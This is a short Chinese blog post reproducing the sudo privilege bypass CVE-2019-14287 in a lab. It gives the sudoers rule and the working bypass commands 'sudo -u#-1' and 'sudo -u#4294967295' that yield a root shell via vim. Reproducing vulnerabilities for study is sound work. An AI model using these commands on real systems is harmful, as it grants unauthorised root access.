0%

CVE-2019-14287 sudo 权限绕过漏洞

漏洞背景

2019年10月14日, sudo 官方在发布了 CVE-2019-14287 的漏洞预警。

sudo 是所有 unix操作系统(BSD, MacOS, GNU/Linux) 基本集成的一个用户权限控制/切换程序。允许管理员控制服务器下用户能够切换的用户权限。

CVE-2019-14287 是管理员在配置文件中用了 ALL 关键词后造成的。但默认的 sudo 配置文件不受影响。

话不多说,直接进入正文

漏洞复现

  • 漏洞影响范围:sudo 小于1.8.28

  • 复现环境:ubuntu18.04 sudo1.8.23

0x00

创建一个test用户

1
2
useradd test
passwd test

0x01

设置/etc/sudoers

1
test    ALL=(ALL, !root) /usr/bin/vim

第一个字段表示:
授权用户/组 不以%开头的,代表“将要授权的用户” 以%开头的表示“将要授权的组”
第二个字段表示:
允许登录的主机
第三个字段表示:
可以切换到的用户或者组,省略表示切换到root。 如果不省略需要用括号表示 (用户:组)
第四个字段表示:
若添加NOPASSWD表示不需要输入密码,如果省略则表示需要输入密码
第五个字段表示:
可以运行的命令

0x02

进入test用户

尝试使用sudo 打开vim

没有权限,然后输入下面两条命令之一

1
2
sudo -u#-1 vim
sudo -u#4294967295 vim

成功进入

使用命令行模式 键入

1
:!whoami

复现完毕

至于怎么造成这个漏洞,Web狗不配知道

Reference

https://puppet.com/blog/find-and-fix-cve-2019-14287-sudo-vulnerability